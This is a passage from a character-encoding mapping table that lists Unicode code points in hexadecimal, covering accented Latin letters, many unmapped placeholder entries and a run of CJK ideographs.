0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0x00C1, 0x00C0, 0x00C4, 0x00C2, 0x0102, 0x01CD, 0x0100, 0x0104, 0x00C5,
0x00C3, 0x0106, 0x0108, 0x010C, 0x00C7, 0x010A, 0x010E, 0x00C9, 0x00C8,
0x00CB, 0x00CA, 0x011A, 0x0116, 0x0112, 0x0118, 0xFFFD, 0x011C, 0x011E,
0x0122, 0x0120, 0x0124, 0x00CD, 0x00CC, 0x00CF, 0x00CE, 0x01CF, 0x0130,
0x012A, 0x012E, 0x0128, 0x0134, 0x0136, 0x0139, 0x013D, 0x013B, 0x0143,
0x0147, 0x0145, 0x00D1, 0x00D3, 0x00D2, 0x00D6, 0x00D4, 0x01D1, 0x0150,
0x014C, 0x00D5, 0x0154, 0x0158, 0x0156, 0x015A, 0x015C, 0x0160, 0x015E,
0x0164, 0x0162, 0x00DA, 0x00D9, 0x00DC, 0x00DB, 0x016C, 0x01D3, 0x0170,
0x016A, 0x0172, 0x016E, 0x0168, 0x01D7, 0x01DB, 0x01D9, 0x01D5, 0x0174,
0x00DD, 0x0178, 0x0176, 0x0179, 0x017D, 0x017B, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x00E1, 0x00E0, 0x00E4, 0x00E2, 0x0103,
0x01CE, 0x0101, 0x0105, 0x00E5, 0x00E3, 0x0107, 0x0109, 0x010D, 0x00E7,
0x010B, 0x010F, 0x00E9, 0x00E8, 0x00EB, 0x00EA, 0x011B, 0x0117, 0x0113,
0x0119, 0x01F5, 0x011D, 0x011F, 0xFFFD, 0x0121, 0x0125, 0x00ED, 0x00EC,
0x00EF, 0x00EE, 0x01D0, 0xFFFD, 0x012B, 0x012F, 0x0129, 0x0135, 0x0137,
0x013A, 0x013E, 0x013C, 0x0144, 0x0148, 0x0146, 0x00F1, 0x00F3, 0x00F2,
0x00F6, 0x00F4, 0x01D2, 0x0151, 0x014D, 0x00F5, 0x0155, 0x0159, 0x0157,
0x015B, 0x015D, 0x0161, 0x015F, 0x0165, 0x0163, 0x00FA, 0x00F9, 0x00FC,
0x00FB, 0x016D, 0x01D4, 0x0171, 0x016B, 0x0173, 0x016F, 0x0169, 0x01D8,
0x01DC, 0x01DA, 0x01D6, 0x0175, 0x00FD, 0x00FF, 0x0177, 0x017A, 0x017E,
0x017C, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x4E02, 0x4E04, 0x4E05,
0x4E0C, 0x4E12, 0x4E1F, 0x4E23, 0x4E24, 0x4E28, 0x4E2B, 0x4E2E, 0x4E2F,
0x4E30, 0x4E35, 0x4E40, 0x4E41, 0x4E44, 0x4E47, 0x4E51, 0x4E5A, 0x4E5C,
0x4E63, 0x4E68, 0x4E69, 0x4E74, 0x4E75, 0x4E79, 0x4E7F, 0x4E8D, 0x4E96,
0x4E97, 0x4E9D, 0x4EAF, 0x4EB9, 0x4EC3, 0x4ED0, 0x4EDA, 0x4EDB, 0x4EE0,
0x4EE1, 0x4EE2, 0x4EE8, 0x4EEF, 0x4EF1, 0x4EF3, 0x4EF5, 0x4EFD, 0x4EFE,
0x4EFF, 0x4F00, 0x4F02, 0x4F03, 0x4F08, 0x4F0B, 0x4F0C, 0x4F12, 0x4F15,
0x4F16, 0x4F17, 0x4F19, 0x4F2E, 0x4F31, 0x4F60, 0x4F33, 0x4F35, 0x4F37,
0x4F39, 0x4F3B, 0x4F3E, 0x4F40, 0x4F42, 0x4F48, 0x4F49, 0x4F4B, 0x4F4C,
0x4F52, 0x4F54, 0x4F56, 0x4F58, 0x4F5F, 0x4F63, 0x4F6A, 0x4F6C, 0x4F6E,
0x4F71, 0x4F77, 0x4F78, 0x4F79, 0x4F7A, 0x4F7D, 0x4F7E, 0x4F81, 0x4F82,
0x4F84, 0x4F85, 0x4F89, 0x4F8A, 0x4F8C, 0x4F8E, 0x4F90, 0x4F92, 0x4F93,
0x4F94, 0x4F97, 0x4F99, 0x4F9A, 0x4F9E, 0x4F9F, 0x4FB2, 0x4FB7, 0x4FB9,
0x4FBB, 0x4FBC, 0x4FBD, 0x4FBE, 0x4FC0, 0x4FC1, 0x4FC5, 0x4FC6, 0x4FC8,
0x4FC9, 0x4FCB, 0x4FCC, 0x4FCD, 0x4FCF, 0x4FD2, 0x4FDC, 0x4FE0, 0x4FE2,
0x4FF0, 0x4FF2, 0x4FFC, 0x4FFD, 0x4FFF, 0x5000, 0x5001, 0x5004, 0x5007,
0x500A, 0x500C, 0x500E, 0x5010, 0x5013, 0x5017, 0x5018, 0x501B, 0x501C,
0x501D, 0x501E, 0x5022, 0x5027, 0x502E, 0x5030, 0x5032, 0x5033, 0x5035,
0x5040, 0x5041, 0x5042, 0x5045, 0x5046, 0x504A, 0x504C, 0x504E, 0x5051,
0x5052, 0x5053, 0x5057, 0x5059, 0x505F, 0x5060, 0x5062, 0x5063, 0x5066,
0x5067, 0x506A, 0x506D, 0x5070, 0x5071, 0x503B, 0x5081, 0x5083, 0x5084,
0x5086, 0x508A, 0x508E, 0x508F, 0x5090, 0x5092, 0x5093, 0x5094, 0x5096,
0x509B, 0x509C, 0x509E, 0x509F, 0x50A0, 0x50A1, 0x50A2, 0x50AA, 0x50AF,
0x50B0, 0x50B9, 0x50BA, 0x50BD, 0x50C0, 0x50C3, 0x50C4, 0x50C7, 0x50CC,
0x50CE, 0x50D0, 0x50D3, 0x50D4, 0x50D8, 0x50DC, 0x50DD, 0x50DF, 0x50E2,
0x50E4, 0x50E6, 0x50E8, 0x50E9, 0x50EF, 0x50F1, 0x50F6, 0x50FA, 0x50FE,
0x5103, 0x5106, 0x5107, 0x5108, 0x510B, 0x510C, 0x510D, 0x510E, 0x50F2,
0x5110, 0x5117, 0x5119, 0x511B, 0x511C, 0x511D, 0x511E, 0x5123, 0x5127,
0x5128, 0x512C, 0x512D, 0x512F, 0x5131, 0x5133, 0x5134, 0x5135, 0x5138,
0x5139, 0x5142, 0x514A, 0x514F, 0x5153, 0x5155, 0x5157, 0x5158, 0x515F,
0x5164, 0x5166, 0x517E, 0x5183, 0x5184, 0x518B, 0x518E, 0x5198, 0x519D,
0x51A1, 0x51A3, 0x51AD, 0x51B8, 0x51BA, 0x51BC, 0x51BE, 0x51BF, 0x51C2,
0x51C8, 0x51CF, 0x51D1, 0x51D2, 0x51D3, 0x51D5, 0x51D8, 0x51DE, 0x51E2,
0x51E5, 0x51EE, 0x51F2, 0x51F3, 0x51F4, 0x51F7, 0x5201, 0x5202, 0x5205,
0x5212, 0x5213, 0x5215, 0x5216, 0x5218, 0x5222, 0x5228, 0x5231, 0x5232,
0x5235, 0x523C, 0x5245, 0x5249, 0x5255, 0x5257, 0x5258, 0x525A, 0x525C,
0x525F, 0x5260, 0x5261, 0x5266, 0x526E, 0x5277, 0x5278, 0x5279, 0x5280,
0x5282, 0x5285, 0x528A, 0x528C, 0x5293, 0x5295, 0x5296, 0x5297, 0x5298,
0x529A, 0x529C, 0x52A4, 0x52A5, 0x52A6, 0x52A7, 0x52AF, 0x52B0, 0x52B6,
0x52B7, 0x52B8, 0x52BA, 0x52BB, 0x52BD, 0x52C0, 0x52C4, 0x52C6, 0x52C8,
0x52CC, 0x52CF, 0x52D1, 0x52D4, 0x52D6, 0x52DB, 0x52DC, 0x52E1, 0x52E5,
0x52E8, 0x52E9, 0x52EA, 0x52EC, 0x52F0, 0x52F1, 0x52F4, 0x52F6, 0x52F7,
0x5300, 0x5303, 0x530A, 0x530B, 0x530C, 0x5311, 0x5313, 0x5318, 0x531B,
0x531C, 0x531E, 0x531F, 0x5325, 0x5327, 0x5328, 0x5329, 0x532B, 0x532C,
0x532D, 0x5330, 0x5332, 0x5335, 0x533C, 0x533D, 0x533E, 0x5342, 0x534C,
0x534B, 0x5359, 0x535B, 0x5361, 0x5363, 0x5365, 0x536C, 0x536D, 0x5372,
0x5379, 0x537E, 0x5383, 0x5387, 0x5388, 0x538E, 0x5393, 0x5394, 0x5399,
0x539D, 0x53A1, 0x53A4, 0x53AA, 0x53AB, 0x53AF, 0x53B2, 0x53B4, 0x53B5,
0x53B7, 0x53B8, 0x53BA, 0x53BD, 0x53C0, 0x53C5, 0x53CF, 0x53D2, 0x53D3,
0x53D5, 0x53DA, 0x53DD, 0x53DE, 0x53E0, 0x53E6, 0x53E7, 0x53F5, 0x5402,
0x5413, 0x541A, 0x5421, 0x5427, 0x5428, 0x542A, 0x542F, 0x5431, 0x5434,
0x5435, 0x5443, 0x5444, 0x5447, 0x544D, 0x544F, 0x545E, 0x5462, 0x5464,
0x5466, 0x5467, 0x5469, 0x546B, 0x546D, 0x546E, 0x5474, 0x547F, 0x5481,
0x5483, 0x5485, 0x5488, 0x5489, 0x548D, 0x5491, 0x5495, 0x5496, 0x549C,
0x549F, 0x54A1, 0x54A6, 0x54A7, 0x54A9, 0x54AA, 0x54AD, 0x54AE, 0x54B1,
0x54B7, 0x54B9, 0x54BA, 0x54BB, 0x54BF, 0x54C6, 0x54CA, 0x54CD, 0x54CE,
0x54E0, 0x54EA, 0x54EC, 0x54EF, 0x54F6, 0x54FC, 0x54FE, 0x54FF, 0x5500,
0x5501, 0x5505, 0x5508, 0x5509, 0x550C, 0x550D, 0x550E, 0x5515, 0x552A,
0x552B, 0x5532, 0x5535, 0x5536, 0x553B, 0x553C, 0x553D, 0x5541, 0x5547,
0x5549, 0x554A, 0x554D, 0x5550, 0x5551, 0x5558, 0x555A, 0x555B, 0x555E,
0x5560, 0x5561, 0x5564, 0x5566, 0x557F, 0x5581, 0x5582, 0x5586, 0x5588,
0x558E, 0x558F, 0x5591, 0x5592, 0x5593, 0x5594, 0x5597, 0x55A3, 0x55A4,
0x55AD, 0x55B2, 0x55BF, 0x55C1, 0x55C3, 0x55C6, 0x55C9, 0x55CB, 0x55CC,
0x55CE, 0x55D1, 0x55D2, 0x55D3, 0x55D7, 0x55D8, 0x55DB, 0x55DE, 0x55E2,
0x55E9, 0x55F6, 0x55FF, 0x5605, 0x5608, 0x560A, 0x560D, 0x560E, 0x560F,
0x5610, 0x5611, 0x5612, 0x5619, 0x562C, 0x5630, 0x5633, 0x5635, 0x5637,
0x5639, 0x563B, 0x563C, 0x563D, 0x563F, 0x5640, 0x5641, 0x5643, 0x5644,
0x5646, 0x5649, 0x564B, 0x564D, 0x564F, 0x5654, 0x565E, 0x5660, 0x5661,
0x5662, 0x5663, 0x5666, 0x5669, 0x566D, 0x566F, 0x5671, 0x5672, 0x5675,
0x5684, 0x5685, 0x5688, 0x568B, 0x568C, 0x5695, 0x5699, 0x569A, 0x569D,
0x569E, 0x569F, 0x56A6, 0x56A7, 0x56A8, 0x56A9, 0x56AB, 0x56AC, 0x56AD,
0x56B1, 0x56B3, 0x56B7, 0x56BE, 0x56C5, 0x56C9, 0x56CA, 0x56CB, 0x56CF,
0x56D0, 0x56CC, 0x56CD, 0x56D9, 0x56DC, 0x56DD, 0x56DF, 0x56E1, 0x56E4,
0x56E5, 0x56E6, 0x56E7, 0x56E8, 0x56F1, 0x56EB, 0x56ED, 0x56F6, 0x56F7,
0x5701, 0x5702, 0x5707, 0x570A, 0x570C, 0x5711, 0x5715, 0x571A, 0x571B,
0x571D, 0x5720, 0x5722, 0x5723, 0x5724, 0x5725, 0x5729, 0x572A, 0x572C,
0x572E, 0x572F, 0x5733, 0x5734, 0x573D, 0x573E, 0x573F, 0x5745, 0x5746,
0x574C, 0x574D, 0x5752, 0x5762, 0x5765, 0x5767, 0x5768, 0x576B, 0x576D,
0x576E, 0x576F, 0x5770, 0x5771, 0x5773, 0x5774, 0x5775, 0x5777, 0x5779,
0x577A, 0x577B, 0x577C, 0x577E, 0x5781, 0x5783, 0x578C, 0x5794, 0x5797,
0x5799, 0x579A, 0x579C, 0x579D, 0x579E, 0x579F, 0x57A1, 0x5795, 0x57A7,
0x57A8, 0x57A9, 0x57AC, 0x57B8, 0x57BD, 0x57C7, 0x57C8, 0x57CC, 0x57CF,
0x57D5, 0x57DD, 0x57DE, 0x57E4, 0x57E6, 0x57E7, 0x57E9, 0x57ED, 0x57F0,
0x57F5, 0x57F6, 0x57F8, 0x57FD, 0x57FE, 0x57FF, 0x5803, 0x5804, 0x5808,
0x5809, 0x57E1, 0x580C, 0x580D, 0x581B, 0x581E, 0x581F, 0x5820, 0x5826,
0x5827, 0x582D, 0x5832, 0x5839, 0x583F, 0x5849, 0x584C, 0x584D, 0x584F,
0x5850, 0x5855, 0x585F, 0x5861, 0x5864, 0x5867, 0x5868, 0x5878, 0x587C,
0x587F, 0x5880, 0x5881, 0x5887, 0x5888, 0x5889, 0x588A, 0x588C, 0x588D,
0x588F, 0x5890, 0x5894, 0x5896, 0x589D, 0x58A0, 0x58A1, 0x58A2, 0x58A6,
0x58A9, 0x58B1, 0x58B2, 0x58C4, 0x58BC, 0x58C2, 0x58C8, 0x58CD, 0x58CE,
0x58D0, 0x58D2, 0x58D4, 0x58D6, 0x58DA, 0x58DD, 0x58E1, 0x58E2, 0x58E9,
0x58F3, 0x5905, 0x5906, 0x590B, 0x590C, 0x5912, 0x5913, 0x5914, 0x8641,
0x591D, 0x5921, 0x5923, 0x5924, 0x5928, 0x592F, 0x5930, 0x5933, 0x5935,
0x5936, 0x593F, 0x5943, 0x5946, 0x5952, 0x5953, 0x5959, 0x595B, 0x595D,
0x595E, 0x595F, 0x5961, 0x5963, 0x596B, 0x596D, 0x596F, 0x5972, 0x5975,
0x5976, 0x5979, 0x597B, 0x597C, 0x598B, 0x598C, 0x598E, 0x5992, 0x5995,
0x5997, 0x599F, 0x59A4, 0x59A7, 0x59AD, 0x59AE, 0x59AF, 0x59B0, 0x59B3,
0x59B7, 0x59BA, 0x59BC, 0x59C1, 0x59C3, 0x59C4, 0x59C8, 0x59CA, 0x59CD,
0x59D2, 0x59DD, 0x59DE, 0x59DF, 0x59E3, 0x59E4, 0x59E7, 0x59EE, 0x59EF,
0x59F1, 0x59F2, 0x59F4, 0x59F7, 0x5A00, 0x5A04, 0x5A0C, 0x5A0D, 0x5A0E,
0x5A12, 0x5A13, 0x5A1E, 0x5A23, 0x5A24, 0x5A27, 0x5A28, 0x5A2A, 0x5A2D,
0x5A30, 0x5A44, 0x5A45, 0x5A47, 0x5A48, 0x5A4C, 0x5A50, 0x5A55, 0x5A5E,
0x5A63, 0x5A65, 0x5A67, 0x5A6D, 0x5A77, 0x5A7A, 0x5A7B, 0x5A7E, 0x5A8B,
0x5A90, 0x5A93, 0x5A96, 0x5A99, 0x5A9C, 0x5A9E, 0x5A9F, 0x5AA0, 0x5AA2,
0x5AA7, 0x5AAC, 0x5AB1, 0x5AB2, 0x5AB3, 0x5AB5, 0x5AB8, 0x5ABA, 0x5ABB,
0x5ABF, 0x5AC4, 0x5AC6, 0x5AC8, 0x5ACF, 0x5ADA, 0x5ADC, 0x5AE0, 0x5AE5,
0x5AEA, 0x5AEE, 0x5AF5, 0x5AF6, 0x5AFD, 0x5B00, 0x5B01, 0x5B08, 0x5B17,
0x5B34, 0x5B19, 0x5B1B, 0x5B1D, 0x5B21, 0x5B25, 0x5B2D, 0x5B38, 0x5B41,
0x5B4B, 0x5B4C, 0x5B52, 0x5B56, 0x5B5E, 0x5B68, 0x5B6E, 0x5B6F, 0x5B7C,
0x5B7D, 0x5B7E, 0x5B7F, 0x5B81, 0x5B84, 0x5B86, 0x5B8A, 0x5B8E, 0x5B90,
0x5B91, 0x5B93, 0x5B94, 0x5B96, 0x5BA8, 0x5BA9, 0x5BAC, 0x5BAD, 0x5BAF,
0x5BB1, 0x5BB2, 0x5BB7, 0x5BBA, 0x5BBC, 0x5BC0, 0x5BC1, 0x5BCD, 0x5BCF,
0x5BD6, 0x5BD7, 0x5BD8, 0x5BD9, 0x5BDA, 0x5BE0, 0x5BEF, 0x5BF1, 0x5BF4,
0x5BFD, 0x5C0C, 0x5C17, 0x5C1E, 0x5C1F, 0x5C23, 0x5C26, 0x5C29, 0x5C2B,
0x5C2C, 0x5C2E, 0x5C30, 0x5C32, 0x5C35, 0x5C36, 0x5C59, 0x5C5A, 0x5C5C,
0x5C62, 0x5C63, 0x5C67, 0x5C68, 0x5C69, 0x5C6D, 0x5C70, 0x5C74, 0x5C75,
0x5C7A, 0x5C7B, 0x5C7C, 0x5C7D, 0x5C87, 0x5C88, 0x5C8A, 0x5C8F, 0x5C92,
0x5C9D, 0x5C9F, 0x5CA0, 0x5CA2, 0x5CA3, 0x5CA6, 0x5CAA, 0x5CB2, 0x5CB4,
0x5CB5, 0x5CBA, 0x5CC9, 0x5CCB, 0x5CD2, 0x5CDD, 0x5CD7, 0x5CEE, 0x5CF1,
0x5CF2, 0x5CF4, 0x5D01, 0x5D06, 0x5D0D, 0x5D12, 0x5D2B, 0x5D23, 0x5D24,
0x5D26, 0x5D27, 0x5D31, 0x5D34, 0x5D39, 0x5D3D, 0x5D3F, 0x5D42, 0x5D43,
0x5D46, 0x5D48, 0x5D55, 0x5D51, 0x5D59, 0x5D4A, 0x5D5F, 0x5D60, 0x5D61,
0x5D62, 0x5D64, 0x5D6A, 0x5D6D, 0x5D70, 0x5D79, 0x5D7A, 0x5D7E, 0x5D7F,
0x5D81, 0x5D83, 0x5D88, 0x5D8A, 0x5D92, 0x5D93, 0x5D94, 0x5D95, 0x5D99,
0x5D9B, 0x5D9F, 0x5DA0, 0x5DA7, 0x5DAB, 0x5DB0, 0x5DB4, 0x5DB8, 0x5DB9,
0x5DC3, 0x5DC7, 0x5DCB, 0x5DD0, 0x5DCE, 0x5DD8, 0x5DD9, 0x5DE0, 0x5DE4,
0x5DE9, 0x5DF8, 0x5DF9, 0x5E00, 0x5E07, 0x5E0D, 0x5E12, 0x5E14, 0x5E15,
0x5E18, 0x5E1F, 0x5E20, 0x5E2E, 0x5E28, 0x5E32, 0x5E35, 0x5E3E, 0x5E4B,
0x5E50, 0x5E49, 0x5E51, 0x5E56, 0x5E58, 0x5E5B, 0x5E5C, 0x5E5E, 0x5E68,
0x5E6A, 0x5E6B, 0x5E6C, 0x5E6D, 0x5E6E, 0x5E70, 0x5E80, 0x5E8B, 0x5E8E,
0x5EA2, 0x5EA4, 0x5EA5, 0x5EA8, 0x5EAA, 0x5EAC, 0x5EB1, 0x5EB3, 0x5EBD,
0x5EBE, 0x5EBF, 0x5EC6, 0x5ECC, 0x5ECB, 0x5ECE, 0x5ED1, 0x5ED2, 0x5ED4,
0x5ED5, 0x5EDC, 0x5EDE, 0x5EE5, 0x5EEB, 0x5F02, 0x5F06, 0x5F07, 0x5F08,
0x5F0E, 0x5F19, 0x5F1C, 0x5F1D, 0x5F21, 0x5F22, 0x5F23, 0x5F24, 0x5F28,
0x5F2B, 0x5F2C, 0x5F2E, 0x5F30, 0x5F34, 0x5F36, 0x5F3B, 0x5F3D, 0x5F3F,
0x5F40, 0x5F44, 0x5F45, 0x5F47, 0x5F4D, 0x5F50, 0x5F54, 0x5F58, 0x5F5B,
0x5F60, 0x5F63, 0x5F64, 0x5F67, 0x5F6F, 0x5F72, 0x5F74, 0x5F75, 0x5F78,
0x5F7A, 0x5F7D, 0x5F7E, 0x5F89, 0x5F8D, 0x5F8F, 0x5F96, 0x5F9C, 0x5F9D,
0x5FA2, 0x5FA7, 0x5FAB, 0x5FA4, 0x5FAC, 0x5FAF, 0x5FB0, 0x5FB1, 0x5FB8,
0x5FC4, 0x5FC7, 0x5FC8, 0x5FC9, 0x5FCB, 0x5FD0, 0x5FD1, 0x5FD2, 0x5FD3,
0x5FD4, 0x5FDE, 0x5FE1, 0x5FE2, 0x5FE8, 0x5FE9, 0x5FEA, 0x5FEC, 0x5FED,
0x5FEE, 0x5FEF, 0x5FF2, 0x5FF3, 0x5FF6, 0x5FFA, 0x5FFC, 0x6007, 0x600A,
0x600D, 0x6013, 0x6014, 0x6017, 0x6018, 0x601A, 0x601F, 0x6024, 0x602D,
0x6033, 0x6035, 0x6040, 0x6047, 0x6048, 0x6049, 0x604C, 0x6051, 0x6054,
0x6056, 0x6057, 0x605D, 0x6061, 0x6067, 0x6071, 0x607E, 0x607F, 0x6082,
0x6086, 0x6088, 0x608A, 0x608E, 0x6091, 0x6093, 0x6095, 0x6098, 0x609D,
0x609E, 0x60A2, 0x60A4, 0x60A5, 0x60A8, 0x60B0, 0x60B1, 0x60B7, 0x60BB,
0x60BE, 0x60C2, 0x60C4, 0x60C8, 0x60C9, 0x60CA, 0x60CB, 0x60CE, 0x60CF,
0x60D4, 0x60D5, 0x60D9, 0x60DB, 0x60DD, 0x60DE, 0x60E2, 0x60E5, 0x60F2,
0x60F5, 0x60F8, 0x60FC, 0x60FD, 0x6102, 0x6107, 0x610A, 0x610C, 0x6110,
0x6111, 0x6112, 0x6113, 0x6114, 0x6116, 0x6117, 0x6119, 0x611C, 0x611E,
0x6122, 0x612A, 0x612B, 0x6130, 0x6131, 0x6135, 0x6136, 0x6137, 0x6139,
0x6141, 0x6145, 0x6146, 0x6149, 0x615E, 0x6160, 0x616C, 0x6172, 0x6178,
0x617B, 0x617C, 0x617F, 0x6180, 0x6181, 0x6183, 0x6184, 0x618B, 0x618D,
0x6192, 0x6193, 0x6197, 0x6198, 0x619C, 0x619D, 0x619F, 0x61A0, 0x61A5,
0x61A8, 0x61AA, 0x61AD, 0x61B8, 0x61B9, 0x61BC, 0x61C0, 0x61C1, 0x61C2,
0x61CE, 0x61CF, 0x61D5, 0x61DC, 0x61DD, 0x61DE, 0x61DF, 0x61E1, 0x61E2,
0x61E7, 0x61E9, 0x61E5, 0x61EC, 0x61ED, 0x61EF, 0x6201, 0x6203, 0x6204,
0x6207, 0x6213, 0x6215, 0x621C, 0x6220, 0x6222, 0x6223, 0x6227, 0x6229,
0x622B, 0x6239, 0x623D, 0x6242, 0x6243, 0x6244, 0x6246, 0x624C, 0x6250,
0x6251, 0x6252, 0x6254, 0x6256, 0x625A, 0x625C, 0x6264, 0x626D, 0x626F,
0x6273, 0x627A, 0x627D, 0x628D, 0x628E, 0x628F, 0x6290, 0x62A6, 0x62A8,
0x62B3, 0x62B6, 0x62B7, 0x62BA, 0x62BE, 0x62BF, 0x62C4, 0x62CE, 0x62D5,
0x62D6, 0x62DA, 0x62EA, 0x62F2, 0x62F4, 0x62FC, 0x62FD, 0x6303, 0x6304,
0x630A, 0x630B, 0x630D, 0x6310, 0x6313, 0x6316, 0x6318, 0x6329, 0x632A,
0x632D, 0x6335, 0x6336, 0x6339, 0x633C, 0x6341, 0x6342, 0x6343, 0x6344,
0x6346, 0x634A, 0x634B, 0x634E, 0x6352, 0x6353, 0x6354, 0x6358, 0x635B,
0x6365, 0x6366, 0x636C, 0x636D, 0x6371, 0x6374, 0x6375, 0x6378, 0x637C,
0x637D, 0x637F, 0x6382, 0x6384, 0x6387, 0x638A, 0x6390, 0x6394, 0x6395,
0x6399, 0x639A, 0x639E, 0x63A4, 0x63A6, 0x63AD, 0x63AE, 0x63AF, 0x63BD,
0x63C1, 0x63C5, 0x63C8, 0x63CE, 0x63D1, 0x63D3, 0x63D4, 0x63D5, 0x63DC,
0x63E0, 0x63E5, 0x63EA, 0x63EC, 0x63F2, 0x63F3, 0x63F5, 0x63F8, 0x63F9,
0x6409, 0x640A, 0x6410, 0x6412, 0x6414, 0x6418, 0x641E, 0x6420, 0x6422,
0x6424, 0x6425, 0x6429, 0x642A, 0x642F, 0x6430, 0x6435, 0x643D, 0x643F,
0x644B, 0x644F, 0x6451, 0x6452, 0x6453, 0x6454, 0x645A, 0x645B, 0x645C,
0x645D, 0x645F, 0x6460, 0x6461, 0x6463, 0x646D, 0x6473, 0x6474, 0x647B,
